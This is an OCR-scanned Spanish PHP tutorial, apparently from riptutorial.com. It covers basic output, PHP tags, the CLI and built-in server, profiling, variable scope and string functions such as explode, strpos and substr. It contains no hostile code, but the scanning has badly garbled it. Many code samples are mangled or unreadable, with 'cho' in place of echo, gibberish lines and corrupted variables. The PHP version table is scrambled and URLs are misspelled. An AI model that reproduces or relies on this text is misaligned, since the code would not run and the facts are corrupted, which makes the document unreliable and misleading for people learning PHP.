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Capítulo 1: Empezando con PHP 


Observaciones 


PHP (acrónimo recursivo para PHP: preprocesador de hipertexto) es un lenguaje de 
programación de código abierto muy utilizado. Es especialmente adecuado para el desarrollo 
web. Lo único de PHP es que sirve tanto para principiantes como para desarrolladores 
experimentados. Tiene una barrera de entrada baja, por lo que es fácil comenzar y, al mismo 
tiempo, proporciona características avanzadas ofrecidas en otros lenguajes de programación. 


Fuente abierta 

Es un proyecto de código abierto. Siéntete libre de involucrarte . 
Especificación de idioma 

PHP tiene una especificación de lenguaje . 

Versiones soportadas 

Actualmente, hay tres versiones soportadas : 5.6, 7.0 y 7.1. 


Cada rama de lanzamiento de PHP es totalmente compatible durante dos años a partir de su 
lanzamiento estable inicial. Después de este período de dos años de soporte activo, cada 
sucursal recibe soporte por un año adicional solo para problemas de seguridad críticos. Las 
liberaciones durante este período se realizan según sea necesario: puede haber varias 
liberaciones puntuales, o ninguna, según el número de informes. 


Versiones no soportadas 


Una vez que se completan los tres años de soporte, la sucursal llega al final de su vida útil y ya no 
es compatible. 


Una tabla de ramas de fin de vida está disponible. 

Rastreador de problemas 

Los errores y otros problemas se rastrean en htips://bugs.php.nel/ . 
Listas de correo 


Las discusiones sobre el desarrollo y uso de PHP se llevan a cabo en las listas de correo de PHP 
Documentacion oficial 
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Por favor ayuda a mantener o traducir la documentación oficial de PHP . 


Puede usar el editor en edit.php.net . Echa un vistazo a nuestra guía para los colaboradores . 


Versiones 
PHP 7.x 
Apoyado hasta | Fecha de lanzamiento 
ea] 2019-12-01 2016-12-01 
7.0 2018-12-03 2015-12-03 
PHP 5.x 
Apoyado hasta | Fecha de lanzamiento 
06 2018-12-31 2014-08-28 
o 2016-07-21 2013-06-20 
5.4 2015-09-03 2012-03-01 
$ 2014-08-14 30-06-2009 
02 2011-01-06 2006-11-02 
6,1 2006-08-24 2005-11-24 
30 2005-09-05 2004-07-13 
PHP 4.x 
Apoyado hasta | Fecha de lanzamiento 
4.4 2008-08-07 2005-07-11 
4.3 2005-03-31 2002-12-27 
4.2 2002-09-06 2002-04-22 
4.1 2002-03-12 2001-12-10 
4.0 2001-06-23 2000-05-22 
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Versiones heredadas 


Apoyado hasta | Fecha de lanzamiento 


50 2000-10-20 1998-06-06 

2.0 1997-11-01 

10 1995-06-08 
Examples 


Salida HTML del servidor web 


PHP se puede utilizar para agregar contenido a archivos HTML. Si bien el HTML se procesa 
directamente mediante un navegador web, los scripts PHP se ejecutan en un servidor web y el 
HTML resultante se envía al navegador. 


El siguiente código HTML contiene una declaración de PHP que agregará Hello wor1a: a la salida: 


<!DOCTYPE html> 
<html> 
<head> 
<title>PHP!</title> 
</head> 
<body> 
<p><?php echo "Hello world!"; ?></p> 
</body> 
</html> 


Cuando se guarde como un script PHP y lo ejecute un servidor web, se enviará el siguiente HTML 
al navegador del usuario: 


<IDOCIYPE htmili> 
<html> 
<head> 
<title>PHP!</title> 
</head> 
<body> 
<p>Hello world!</p> 
</body> 
</html> 


PHP 5.x 5.4 


echo también tiene una sintaxis de acceso directo, que le permite imprimir inmediatamente un 
valor. Antes de PHP 5.4.0, esta sintaxis corta solo funciona con la configuración de configuración 
short_open_tag habilitada. 


Por ejemplo, considere el siguiente código: 
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<p><?= "Hello world!" ?></p> 


Su salida es idéntica a la salida de lo siguiente: 


<p><?php echo "Hello world!"; ?2></p> 


En las aplicaciones del mundo real, todos los datos de salida de PHP a una página HTML deben 
escaparse adecuadamente para evitar ataques de XSS ( secuencias de comandos entre sitios ) o 
daños en el texto. 


Vea también: Cadenas y PSR-1 , que describe las mejores prácticas, incluido el uso adecuado de 
etiquetas cortas (<?= ... 2?>). 


Salida no HTML desde servidor web 


En algunos casos, cuando se trabaja con un servidor web, puede ser necesario reemplazar el tipo 
de contenido predeterminado del servidor web. Puede haber casos en los que necesite enviar 
datos COMO plain text , JSON O xML , por ejemplo. 


La función heade» () puede enviar un encabezado HTTP en bruto. Puede agregar el encabezado 
Content-Type para notificar al navegador el contenido que estamos enviando. 


Considere el siguiente código, donde configuramos content -Type COMO text/plain : 


header ("Content-Type: text/plain"); 
echo "Hello World"; 


Esto producirá un documento de texto plano con el siguiente contenido: 
Hola Mundo 
Para producir contenido JSON , use el tipo de contenido app1ication/3json lugar: 


header ("Content-Type: application/3son"); 


// Create a PHP data array. 
$data = ["response" => "Hello World"]; 


// json_encode will convert it to a valid JSON string. 
echo json_encode ($data); 


Esto producirá un documento de tipo application/json COn el siguiente contenido: 
"respuesta": "Hola mundo"; 


Tenga en cuenta que se debe llamar a la función header () antes de que PHP produzca cualquier 
salida, o el servidor web ya habrá enviado encabezados para la respuesta. Por lo tanto, considere 
el siguiente código: 


// Error: We cannot send any output before the headers 
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echo "Hello"; 


// A11l headers must be sent before ANY PHP output 
header ("Content-Type: text/plain"); 
echo “Wosla". 


Esto producirá una advertencia: 


Advertencia: no se puede modificar la información del encabezado: los encabezados 
ya enviados por (la salida comenzó en /dir/example.php:2) en /dir/example.php en la 
línea 3 


Cuando se utiliza header () , su salida debe ser el primer byte que se envía desde el servidor. Por 
esta razón, es importante no tener líneas o espacios vacíos al principio del archivo antes de la 
etiqueta de apertura de PHP <?php . Por la misma razón, se considera la mejor práctica (ver PSR- 
2 ) omitir la etiqueta de cierre de PHP >> De los archivos que contienen solo PHP y de los bloques 
de código PHP al final de un archivo. 


Vea la sección de almacenamiento en búfer de salida para aprender cómo "capturar" su 
contenido en una variable para generar más tarde, por ejemplo, después de generar 
encabezados. 


¡Hola Mundo! 
La construcción de lenguaje más utilizada para imprimir la salida en PHP €s echo : 


echo "Hello, World!In"; 


Alternativamente, también puede utilizar print : 


¡cae Urielilo, Morley 


Ambas declaraciones realizan la misma función, con pequeñas diferencias: 


* echo tiene un retorno voia , mientras QUe print devuelve un int con un valor de 1 

* echo puede tomar múltiples argumentos (sin paréntesis solamente), mientras que print solo 
toma un argumento 

* echo es un poco más rápido que la print 


Tanto el ecno como el prin: son construcciones de lenguaje, no funciones. Eso significa que no 
requieren paréntesis alrededor de sus argumentos. Para consistencia estética con funciones, se 
pueden incluir paréntesis. Los ejemplos extensos del uso del echo y la prin: están disponibles en 
otros lugares . 


El prints estilo C y las funciones relacionadas también están disponibles, como en el siguiente 
ejemplo: 


oca (Mesa, "Mello, Womlelt0) e 
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Consulte Generar el valor de una variable para obtener una introducción completa de las 
variables de salida en PHP. 


Separación de instrucciones 


Al igual que la mayoría de los otros lenguajes de estilo C, cada declaración termina con un punto 
y coma. Además, se usa una etiqueta de cierre para terminar la última línea de código del bloque 
PHP. 


Si la última línea de código PHP termina con un punto y coma, la etiqueta de cierre es opcional si 
no hay ningún código después de esa línea final de código. Por ejemplo, podemos dejar la 
etiqueta de cierre después del echo "No error"; en el siguiente ejemplo: 


<?php echo "No error"; // no closing tag is needed as long as there is no code below 


Sin embargo, si hay algún otro código que sigue a su bloque de código PHP, la etiqueta de cierre 
ya no es opcional: 


<?php echo "This will cause an error if you leave out the closing tag"; 7?> 
<html> 

<body> 

</body> 
</html> 


También podemos omitir el punto y coma de la última instrucción en un bloque de código PHP si 
ese bloque de código tiene una etiqueta de cierre: 


<?php echo "I hope this helps! :D"; 
echo "No error" ?> 


En general, se recomienda usar siempre un punto y coma y una etiqueta de cierre para cada 
bloque de código PHP, excepto el último bloque de código PHP, si no hay más código que siga 
ese bloque de código PHP. 


Por lo tanto, su código básicamente debería verse así: 


<?php 
cho "Here we use a semicolon!"; 
cho "Here as well!"; 
cho "Here as well!"; 
cho "Here we use a semicolon and a closing tag because more code follows"; 


> 


<p>Some HTML code goes here</p> 


<?php 
cho "Here we use a semicolon!"; 
cho "Here as well!"; 
cho "Here as well!"; 
cho "Here we use a semicolon and a closing tag because more code follows"; 


ES 
<p>Some HTML code goes here</p> 
<?php 


cho "Here we use a semicolon!"; 
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cho "Here as well!"; 


cho "Here as well!"; 
cho "Here we use a semicolon but leave out the closing tag"; 


PHP CLI 


PHP también se puede ejecutar desde la línea de comandos directamente mediante la CLI 
(interfaz de línea de comandos). 


CLl es básicamente lo mismo que PHP desde los servidores web, excepto algunas diferencias en 
términos de entrada y salida estándar. 


Disparando 


La CLl de PHP permite cuatro formas de ejecutar código PHP: 


1. Entrada estándar. Ejecute el comando phe sin ningún argumento, pero incluya código PHP 
en él: 


echo '<?php echo "Hello world!";' | php 


2. Nombre de archivo como argumento. Ejecute el comando pre con el nombre de un archivo 
fuente PHP como primer argumento: 


php hello_world.php 


3. Código como argumento. Use la opción -- en el comando pre , seguido del código para 
ejecutar. No se requieren las etiquetas <>pno open, ya que todo en el argumento se 
considera como código PHP: 


Php echo Hello won 


4. Shell interactivo Use la opción -a en el comando php para iniciar un shell interactivo. Luego, 
escribe (o pega) el código PHP y pulsa devolver : 


S jaa =a 
Interactive mod nabled 


php > echo "Hello world!"; 
Hello world! 


Salida 


Todas las funciones o controles que producen resultados HTML en el servidor web PHP se 
pueden usar para producir resultados en la secuencia stdout (descriptor de archivo 1), y todas las 
acciones que producen resultados en los registros de errores en el servidor web PHP producirán 
resultados en la secuencia stderr (archivo descriptor 2). 


Example .php 
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<?php 

echo "Stdout lin"; 

ejeje eieroja (Sicilia ad) e 
pisa 2 ("Stclome yan) 

fwrite(STDERR, "Stderr 41n"); 

throw new RuntimeException ("Stderr 51n"); 


2> 
Stdout 6 


Línea de comandos de shell 


S php Example.php 2>stderr.log >stdout .log;X 
> echo STDOUT; cat stdout.log; echo;X 
> echo STDERR; cat stderr.logl 


STDOUT 
Stdout 1 
Stdout 


ww 


STDERR 

tderr 4 

PHP Notice: Stderr 2 

in /Example.php on line 3 

PHP Fatal error: Uncaught RuntimeException: Stderr 5 


uN 


in /Example.php:6 


Stack trace: 
+0 (main) 


thrown in /Example.php on line 6 


Entrada 


Ver: Interfaz de línea de comandos (CL!) 


Servidor incorporado de PHP 
PHP 5.4+ viene con un servidor de desarrollo incorporado. Se puede usar para ejecutar 


aplicaciones sin tener que instalar un servidor HTTP de producción como nginx o Apache. El 
servidor incorporado solo está diseñado para ser utilizado con fines de desarrollo y prueba. 


Se puede iniciar utilizando la bandera -s : 


php -S <host/ip>:<port> 


Ejemplo de uso 


1. Crea un archivo index.php que contenga: 


<?php 
echo "Hello World from built-in PHP server"; 
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2. Ejecute el comando pnp -s localhost 8080 desde la línea de comandos. No incluya http: // . 
Esto iniciará la escucha del servidor web en el puerto 8080 utilizando el directorio actual en 
el que se encuentra como raíz del documento. 


3. Abra el navegador y navegue a nttp://localhost:s080 . Deberías ver tu página de "Hola 
Mundo". 


Configuración 


Para anular la raíz de documento predeterminada (es decir, el directorio actual), use la -+ : 
¡lao =$ <aoste/o>2 uo =1 <cirectory> 


Por ejemplo, si tiene un directorio pu»b1ic/ en su proyecto, puede servir su proyecto desde ese 
directorio utilizando php -S localhost:8080 -t public/. 


Troncos 


Cada vez que se realiza una solicitud desde el servidor de desarrollo, una entrada de registro 
como la que se muestra a continuación se escribe en la línea de comandos. 


[Mea ¿Au 15 1SS20319 2018] gsies2dss [20018 / 


Etiquetas PHP 


Hay tres tipos de etiquetas para denotar bloques de PHP en un archivo. El analizador de PHP 
está buscando las etiquetas de apertura y (si están presentes) para delimitar el código a 
interpretar. 


Etiquetas estándar 


Estas etiquetas son el método estándar para incrustar código PHP en un archivo. 


<?php 
echo "Hello World"; 
2> 


PHP 5.x 5.4 


Etiquetas de eco 


Estas etiquetas están disponibles en todas las versiones de PHP, y desde PHP 5.4 siempre están 
habilitadas. En versiones anteriores, las etiquetas de eco solo podían activarse junto con 
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etiquetas cortas. 


<?= "Hello World" ?> 


Etiquetas cortas 


Puede deshabilitar o habilitar estas etiquetas con la opción short_open_tag . 


<? 
echo "Hello World"; 
> 


Etiquetas cortas: 


* no están permitidos en todos los principales estándares de codificación PHP 

+ Se desalientan en la documentación oficial. 

+ están deshabilitados por defecto en la mayoría de las distribuciones 

* interferir con las instrucciones de procesamiento de XML en línea 

+ No se aceptan en las presentaciones de código por la mayoría de los proyectos de código 
abierto. 


PHP 5.x 5:6 


Etiquetas ASP 


Al habilitar la opción asp_tags , Se pueden usar etiquetas de estilo ASP. 


echo "Hello World"; 
$> 


Estas son una peculiaridad histórica y nunca deben usarse. Fueron eliminados en PHP 7.0. 


Lea Empezando con PHP en línea: https://riptutorial.com/es/php/topic/189/empezando-con-php 


https://riptutorial.com/es/nome 


11 


Capítulo 2: Actuación 


Examples 


Perfilando con XHProf 


XHProf es un generador de perfiles PHP originalmente escrito por Facebook, para proporcionar 
una alternativa más liviana a XDebug. 


Después de instalar el módulo PHP xhpror , la creación de perfiles se puede habilitar / deshabilitar 
desde el código PHP: 


xhprof_enable(); 
doSlowOperation(); 
Sprofile_data = xhprof_disable(); 


La matriz devuelta contendrá datos sobre el número de llamadas, el tiempo de CPU y el uso de 
memoria de cada función a la que se ha accedido dentro de doslow0peration() . 


xhprof_sample_enable () / xhprof_sample_disable () puede usarse como una opción más liviana que 
solo registrará la información de perfiles para una fracción de las solicitudes (y en un formato 
diferente). 


XHProf tiene algunas funciones de ayuda (en su mayoría no documentadas) para mostrar los 
datos ( ver ejemplo ), o puede usar otras herramientas para visualizarlos (el blog platform.sh tiene 
un ejemplo ). 


Uso de memoria 


El límite de memoria en tiempo de ejecución de PHP se establece a través de la directiva INI 
memory_1imit . Esta configuración evita que cualquier ejecución individual de PHP consuma 
demasiada memoria, agotándola para otros scripts y software del sistema. El límite de memoria 
predeterminado es de 128M y se puede cambiar en el archivo pnp.ini o en tiempo de ejecución. 
Puede configurarse para que no tenga límite, pero esto generalmente se considera una mala 
práctica. 


El uso de memoria exacto utilizado durante el tiempo de ejecución se puede determinar llamando 
A memory_get_usage () . Devuelve el número de bytes de memoria asignados al script actualmente 
en ejecución. A partir de PHP 5.2, tiene un parámetro booleano opcional para obtener la memoria 
total del sistema asignada, a diferencia de la memoria que PHP está utilizando activamente. 


<?php 
cho memory_get_usage() . "An"; 
// Outputs 350688 (or similar, depending on system and PHP version) 


// Let's use up some RAM 
Sistema => elemen all (10, OOO, Lele Y) 7 
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cho memory_get_usage() . "An"; 


// Outputs 387704 


// Remove the array from memory 


unset ($Sarray); 


cho memory_get_usage() . "An"; 
// Outputs 350784 


Ahora memory_get_usage le da uso de memoria en el momento en que se ejecuta. Entre las 
llamadas a esta función, puede asignar y desasignar otras cosas en la memoria. Para obtener la 
cantidad máxima de memoria utilizada hasta cierto punto, llame a memory_get_peak_usage () . 


<?php 


cho memory_get_peak_usage() . "An"; 
// 385688 
= axzzey dla (0, 1000, “alse") + 
cho memory_get_peak_usage() . "An"; 


Sarray 


UN AZBANDO 
unset (Sarray) 


cho memory_get_peak_usage() . "An"; 


UN ABZATTVE 


Note que el valor solo subirá o se mantendrá constante. 


Perfilando con Xdebug 


Una extensión de PHP llamada Xdebug está disponible para ayudar en la creación de perfiles de 
aplicaciones PHP , así como para la depuración en tiempo de ejecución. Cuando se ejecuta el 
generador de perfiles, la salida se escribe en un archivo en un formato binario llamado 
"cachegrind". Las aplicaciones están disponibles en cada plataforma para analizar estos archivos. 


Para habilitar la creación de perfiles, instale la extensión y ajuste la configuración de php.ini. En 
nuestro ejemplo, ejecutaremos el perfil opcionalmente en función de un parámetro de solicitud. 
Esto nos permite mantener la configuración estática y activar el generador de perfiles solo cuando 
sea necesario. 


Il Saz co wo cursa de ON or Every meaquese 


xdebug.profiler enable = 0 

// Let's use a GET/POST parameter to turn on the profiler 
xdebug.profiler_enable_trigger = 1 

// The GET/POST value we will pass; empty for any value 

xdebug.profiler _ enable _trigger_value = "" 

// Output cachegrind files to /tmp so our system cleans them up later 
xdebug.profiler_output_dir = "/tmp" 

xdebug.profiler_output_name = "cachegrind.out.Ssp" 


A continuación, use un cliente web para realizar una solicitud a la URL de su aplicación que 
desea perfilar, por ejemplo, 


http://example.com/article/1?XDEBUG_PROFILE 


[ña] 
Il 
¡En 
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A medida que la página se procesa, se escribirá en un archivo con un nombre similar a 


/tmp/cachegrind.out.12345 


Tenga en cuenta que escribirá un archivo para cada solicitud / proceso de PHP que se ejecute. 
Por ejemplo, si desea analizar una publicación de formulario, se escribirá un perfil para la solicitud 
GET para mostrar el formulario HTML. El parámetro XDEBUG_PROFILE deberá pasar a la 
solicitud POST posterior para analizar la segunda solicitud que procesa el formulario. Por lo tanto, 
cuando se perfila, a veces es más fácil ejecutar curl para POSTAR un formulario directamente. 


Una vez escrito, el caché de perfil puede ser leído por una aplicación como KCachegrind. 
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(A .cachegrind.out.24457 [kcachegrind] - KCachegrind 
File View Go Settings Help 


Il E (4 CE y €) JNE DJ% Pe! Instruction +]| Ma 


[Search JN? 


QFontPrivate::load 


Callers | Source Call Graph 


734.070.000 
=728.59-—70.00 
L1 Instr. Miss O 1.741J0.01 
L1 Read Miss  E7313.855J0.01 
L1 Write Miss  5566.66—J0.00 
L2 Instr. Miss [4 4.225J0.04 
L2 Read Miss EJ 7.581—J0.01 
L2 Write Miss  E=m51. 5450.00 
L1 Miss Sum  EJ313.5115J0.01 lMimr +D1mr +D14rm 
L2 Miss Sum E711.140.02 l2mr + D2mr + noia 
» 


- —-»= == —_—_—_———” mi 


JH 5.51 % 


02.21 % 


PS Unicode Value 


71.66% 


XttListFonts 
HA 1 66% 


cachegrind.out.24457 [1] - Total Instruction Cost: 458 122 709 


Esto mostrará información que incluye: 


+ Funciones ejecutadas 
* Tiempo de llamada, tanto en sí mismo como inclusivo de llamadas de función posteriores 
+ Número de veces que se llama a cada función 
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+ Gráficos de llamadas 
+ Enlaces al código fuente 


Obviamente, el ajuste del rendimiento es muy específico para los casos de uso de cada 
aplicación. En general es bueno buscar: 


* Llamadas repetidas a la misma función que no esperaría ver. Para las funciones que 
procesan y consultan datos, estas podrían ser las principales oportunidades para que su 
aplicación se almacene en caché. 

+ Funciones de ejecución lenta. ¿Dónde está la aplicación pasando la mayor parte de su 
tiempo? La mejor recompensa en la optimización del rendimiento es centrarse en aquellas 
partes de la aplicación que consumen más tiempo. 


Nota : Xdebug, y en particular sus características de creación de perfiles, son muy intensivos en 
recursos y ralentizan la ejecución de PHP. Se recomienda no ejecutar estos en un entorno de 
servidor de producción. 


Lea Actuación en línea: https://riptutorial.com/es/php/topic/3723/actuacion 
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Capítulo 3: Alcance variable 


Introducción 


El alcance variable se refiere a las regiones de código donde se puede acceder a una variable. 
Esto también se conoce como visibilidad . En PHP, los bloques de alcance se definen por 
funciones, clases y un alcance global disponible a través de una aplicación. 


Examples 


Variables globales definidas por el usuario 


El alcance fuera de cualquier función o clase es el alcance global. Cuando un script PHP incluye 
otro (usando include O require ), el alcance sigue siendo el mismo. Si un script se incluye fuera de 
cualquier función o clase, sus variables globales se incluyen en el mismo ámbito global, pero si un 
script se incluye dentro de una función, las variables en el script incluido están en el alcance de la 
función. 


Dentro del alcance de una función o método de clase, la palabra clave y1obaz se puede usar para 
crear un acceso a variables globales definidas por el usuario. 


<?php 
Samount_of_log_calls = 0; 


function log_message ($message) ( 


// Accessing global variable from function scope 
// requires this explicit statement 
global $famount_of_log_calls; 


// This change to the global variable is permanent 
Samount_of_log_calls += 1; 


echo $message; 


) 
// When in the global scope, regular global variables can be used 
// without explicitly stating 'global $variable;' 


echo Samount_of_log_calls; // 0 


log_message ("First log message!"); 
sello Sample on lor ealilss 7 1 


log_message ("Second log message!"); 


Sello Saimoylae ona Lor esullo 4/2 


Una segunda forma de acceder a las variables desde el ámbito global es usar la matriz $ 
GLOBALS especial definida por PHP. 


La matriz $ GLOBALS es una matriz asociativa con el nombre de la variable global que es la 
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clave y el contenido de esa variable es el valor del elemento de la matriz. Observe cómo $ 
GLOBALS existe en cualquier ámbito, esto se debe a que $ GLOBALS es un superglobal. 


Esto significa que la función 10y_message () podría reescribirse como: 


function log_message ($message) ( 
// Access the global Sfamount_of_log_calls variable via the 
// $GLOBALS array. No need for 'global $GLOBALS;', since it 
// is a superglobal variable. 
SGLOBALS['amount_of_log_calls'] += 1; 


cho $messsage; 


Uno podría preguntarse, ¿por qué usar la matriz $ GLOBALS cuando la palabra clave global 
también se puede usar para obtener el valor de una variable global? La razón principal es que el 
uso de la palabra clave global traerá la variable al alcance. Entonces no puede reutilizar el mismo 
nombre de variable en el ámbito local. 


Variables superglobales 


Las variables superglobales están definidas por PHP y siempre se pueden usar desde cualquier 
lugar sin la palabra clave gioba1 . 


<?php 


function getPostValue ($key, $default = NULL) ( 
// $_POST is a superglobal and can be used without 
Ll liesias eo speción, "eElelgal $ JA0S1mp Y 
if (isset($_POST[$keyl1)) ( 
return $_POST[$key]l; 


return $default; 


) 


// retrieves $_POST['username'] 
echo getPostValue('username'); 


// retrieves $_POST['email'] and defaults to empty string 
echo getPostValue('email', ''); 


Propiedades estáticas y variables 


Las propiedades de clase estáticas que se definen con la visibilidad pu»1ic son funcionalmente las 
mismas que las variables globales. Se puede acceder desde cualquier lugar donde se defina la 
clase. 


class SomeClass ( 
public static int $counter = 0; 


) 


// The static $counter variable can be read/written from anywhere 
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// and doesn't require an instantiation of the class 


SomeClass: :$counter += 1; 


Las funciones también pueden definir variables estáticas dentro de su propio alcance. Estas 
variables estáticas persisten a través de múltiples llamadas a funciones, a diferencia de las 
variables regulares definidas en el alcance de una función. Esta puede ser una forma muy fácil y 
sencilla de implementar el patrón de diseño de Singleton: 


class Singleton ( 
public static function getInstance() ( 
// Static variable S$instance is not deleted when the function ends 


static mSiiistane o 


// Second call to this function will not get into the if-statement, 
// Because an instance of Singleton is now stored in the S$instance 
// variable and is persisted through multiple calls 
if (!$finstance) ( 
IU Pires cculal to tlals Euactrion will seacla delas liime, 
// because the Sinstance has only been declared, not initialized 
Sinstance = new Singleton(); 


) 


return S$instance; 


) 


Sinstancel = Singleton: :getInstancel(); 

Sinstance2 = Singleton: :getInstance/(); 

// Comparing objects with the '===' operator checks whether they ar 
// the same instance. Will print 'true', because the static Sinstance 


// variable in the getInstance() method is persisted through multiple calls 


var_dump ($instancel === S$instance2); 


Lea Alcance variable en línea: https://riptutorial.com/es/php/topic/3426/alcance-variable 
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Capítulo 4: Análisis de cuerdas 


Observaciones 


Se debe usar Regex para otros usos además de sacar cuerdas de las cuerdas o cortar las 
cuerdas de otra manera. 


Examples 


Dividir una cadena por separadores 


explode Y strst» Son métodos más simples para obtener subcadenas por separadores. 


Una cadena que contiene varias partes del texto que están separadas por un carácter común se 
puede dividir en partes con la función de explode . 


Sfruits = "apple,pear,grapefruit,cherry"; 
joio _ (ezolocs (Y, Y, Srzmates))e // Mawsnle"”, “esa”, "erayeremlie", 'daeiiay"] 


El método también admite un parámetro de límite que se puede utilizar de la siguiente manera: 
$fruits= 'apple,pear,grapefruit,cherry'; 

Si el parámetro límite es cero, esto se trata como 1. 
print_r(explode(',',Sfruits,0)); // ['apple,pear,grapefruit,cherry'] 


Si se establece límite y positivo, la matriz devuelta contendrá un máximo de elementos límite con 
el último elemento que contiene el resto de la cadena. 


print_r(explode(',',$fruits,2)); // ['apple', 'pear,grapefruit,cherry'] 

Si el parámetro límite es negativo, se devuelven todos los componentes excepto el último límite. 
rta (equlcde (1, Strmics, 1) 4 Magale", “pes, "qreyssiescunle o] 

explode Se puede combinar con 1:s: para analizar una cadena en variables en una línea: 


Semail = "userlexample.com"; 


list ($name, $domain) = explode("fQ", Semail); 


Sin embargo, asegúrese de que el resultado de la exp1o4e contenga suficientes elementos, o se 
activará una advertencia de índice no definido. 


strstr Quita o solo devuelve la subcadena antes de la primera aparición de la aguja dada. 
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Seix = "is 2394550) 


celo som encore (exqplocs (13%, Sstirias))p Y/ (LY, Wa, "as ul 
ver cum (serste(Ssteime, Us) // seria (7) "“s23: 496" 
ven cl (stes (Seite, "31, tzue))e // sezimo (ly) VW 


Buscando una subcadena con strpos 


strpos puede entenderse como el número de bytes en el pajar antes de la primera aparición de la 
aguja. 


var_dump (strpos ("haystack", "hay")); // int (0) 
venecia (siroos (Mieysrcación, "Eran // boe (5) 
var_dump (strpos ("haystack", "stackoverflow"); // bool(false) 


Comprobando si existe una subcadena 


Tenga cuidado con la comprobación contra VERDADERO o FALSO porque si se devuelve un 
índice de 0, una instrucción if lo verá como FALSO. 


us = Suaos (Malcom, MENE / Bon = 07 


$pos2 = strpos("abcd", "e"); // $pos2 = FALSE; 


// Bad example of checking if a needle is found. 
if($pos) f // 0 does not match with TRUE. 
sano Vil, 1 Howell yes Siria ya oe 


) 
else ( 
seamos "il, Y cue mer Eenmel yewes surrlagWya0p 


) 


// Working example of checking if needle is found. 
if($pos !== FALSE) ( 
echo "2. I found your stringin"; 


) 
else ( 
seo “2, 1 cluiol mee Eenmel you silba ya) 


) 


// Checking if a needle is not found 
1f($pos2 === FALSE) ( 
Sano YE, 1 hiel ineja eriiael yoo Elia e 


) 
else ( 
seamos “E, Y Eoumel youwis sieslmeyarp 


Salida de todo el ejemplo: 


dl, dE clio! moje outacl you Sie izaliao] 
y TL Botinel yowvkis Sie siae] 
So JE lio! moje ou! ou Sic rsaliar] 
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Búsqueda a partir de un offset 


// With offset we can search ignoring anything before th 


offset 


$needle = "Hello"; 
Shaystack = "Hello world! Hello World"; 


Spos = strpos(S$haystack, $needle, 1); // $pos = 13, not O 


Consigue todas las apariciones de una 


subcadena. 


Shaystack = "a baby, a cat, a donkey, a fish"; 
Samcedle = Va Us 
Soresces = ll 


// start searching from the beginning of the string 
com (Sormisewe = 0, 
// Tf our offset is beyond the range of th 
// string, don't search anymore. 


// 1f this condition is not set, a warning will 
// Le triggered if Shaystack ends with $needle 
// and $needle is only one byte long. 
Soffset < strlen($haystack); )( 

Spos = strpos($haystack, $needle, S$offset); 

// we don't have anymore substrings 

1f($pos === false) break; 

Soffsets[] = $pos; 

// You may want to add strlen($needle) instead, 

// depending on whether you want to count "aaa" 


les 1 or 2 “ala, 
Sotffsert = $pos + 1; 
) 
echo jsontencode(Sobtsets); // 10/8/10, 25 


Analizando la cadena usando expresiones regulares 


preg_match puede usarse para analizar cadenas usando expresiones regulares. Las partes de la 


expresión entre paréntesis se denominan subpatrones y con ellas puede seleccionar partes 


individuales de la cadena. 


Sstr = "<a href=1"http://example.org1">My Link</a>"; 
Soren = Y/Ga lus (ANAYA 
Sresult = preg_match ($pattern, $str, $matches); 
1 (Sresule === 1) 
// The string matches the expression 
print_r($matches); 


) else if ($result === 0) ( 
// No match 

else ( 
UU Taicaora (e Lao! 
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Salida 


Array 

( 
[0] => <a href="http://example.org">My Link</a> 
[1] => http://example.org 
[2] => My Link 


Subcadena 


La subcadena devuelve la porción de cadena especificada por los parámetros de inicio y longitud. 


ver clio (suoscz (Maicao, NY? Y Serias (a) Ma 


Si existe la posibilidad de cumplir con cadenas de caracteres de múltiples bytes, sería más segu 
usar mb_substr. 


Scake = "cakezegá"; 
var_dump (substr ($cake, 0, 5)); // string(5) "cakee" 
var_dump (mb_substr ($cake, 0, 5, 'UTE-8')); // string(6) "cakee" 


Otra variante es la función substr_replace, que reemplaza el texto dentro de una parte de una 
cadena. 


werz_ clio Sulosici replace (Mao, "QU, 1, 1)? // Suera) UB 
vatidunp (subs rrrepllaco(UBOO Estes (Booster) BoOoEsY 


Digamos que quiere encontrar una palabra específica en una cadena y no quiere usar Regex. 


Shi = "Hello World!"; 

Sbye = "Goodbye cruel World!"; 

vatadunp (strpos (Sai o) 

var_dump (strpos ($bye, " ")); // int(7) 

werz_ ciao (Sulosicz (Sad, 0, Ssezoas (Sas, * DINA 1 realce) Mislilou 

var_dump (substr (Sbye, -1 * (strlen(S$bye) - strpos($bye, " ")))); // string(13) " cruel World!" 


// Tf the casing in the text is not important, then using strtolower helps to compare strings 
vez cu (sussez (Sas, 0, sempos (Sal, Y 1)) == "méello"), // osl (false) 
var_dump (strtolower (substr ($hi, 0, strpos($hi, " "))) == 'hello'); // bool (true) 


Otra opción es un análisis muy básico de un correo electrónico. 


Semail = "testlexample.com"; 
Swrong = "foobar.co.uk"; 
$notld = "foolbar"; 


Sat = strpos ($email, "e"); // int (4) 
Swat = strpos($wrong, "a"); // bool(false) 
Sale = Suxoos (simo del y "EW)S // dare(S) 
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$domain 
$Swomain 
$nomain 


Seloje 
Swot 
$not 


$tld 
Swld 
Simdlel 


IN sitios (25) 
ds (Scar ES Selo) 


= substr ($email, Sat + 1); // string(11) "example.com" 
= Sulosiez (Surone, Buew + 1) // Sercbag (il) "esa. ao. ul" 
= susi (Siaowlel, Sicie + 1) // serino (a) "ez" 


strpos ($domain, 
strpos ($womain, 
strpos ($nomain, 


substr ($domain, 
substr ($womain, 
substr ($nomain , 


E 
Wa 4 im (3) 
0d Y Toon (rales) 


dore + 1) // sezima (Ss) "esa 
Suoe + 1)p // Sucia (a) "Ses mr 
Sao ++ 1) // serima (2) "az 


"testliexample.com is valid" 
var_dump ("Semail is valid"); 


else var_dump ("Semail is invalid"); 


IO Secas (21) 
1f (Swat €£6 $wot) 


E cola, cam ls almculalcol" 
var_dump ("S$wrong is valid"); 


else var_dump ("$wrong is invalid"); 


IO Sica (E) "Eolo: 


1f (Snat £«é6 $not) 


is invalid" 


var_dump ("$notld is valid"); 


else var_dump ("$notld is invalid"); 


IN Siria (A) Mito) do. tl as cía UE Sut 

1f ($tld == "co.uk") var_dump("S$email is a UK address"); 
1f ($wld == "co.uk") var_dump("$wrong is a UK address"); 
1f ($nld == "co.uk") var_dump("$notld is a UK address"); 


O incluso poner "Continuar leyendo" o "..." al final de una propaganda 


Sblurb 
Slimit 


= "Lorem ipsum dolor sit amet"; 


207 


var_dump (substr ($blurb, 


07 Sliimitie = 3) e» os.) // serna (20) "Mioren ijosun colo," 


Lea Análisis de cuerdas en línea: https://riptutorial.com/es/php/topic/2206/analisis-de-cuerdas 


https://riptutorial.com/es/nome 


24 


Capítulo 5: Análisis de HTML 


Examples 


Analizar HTML desde una cadena 


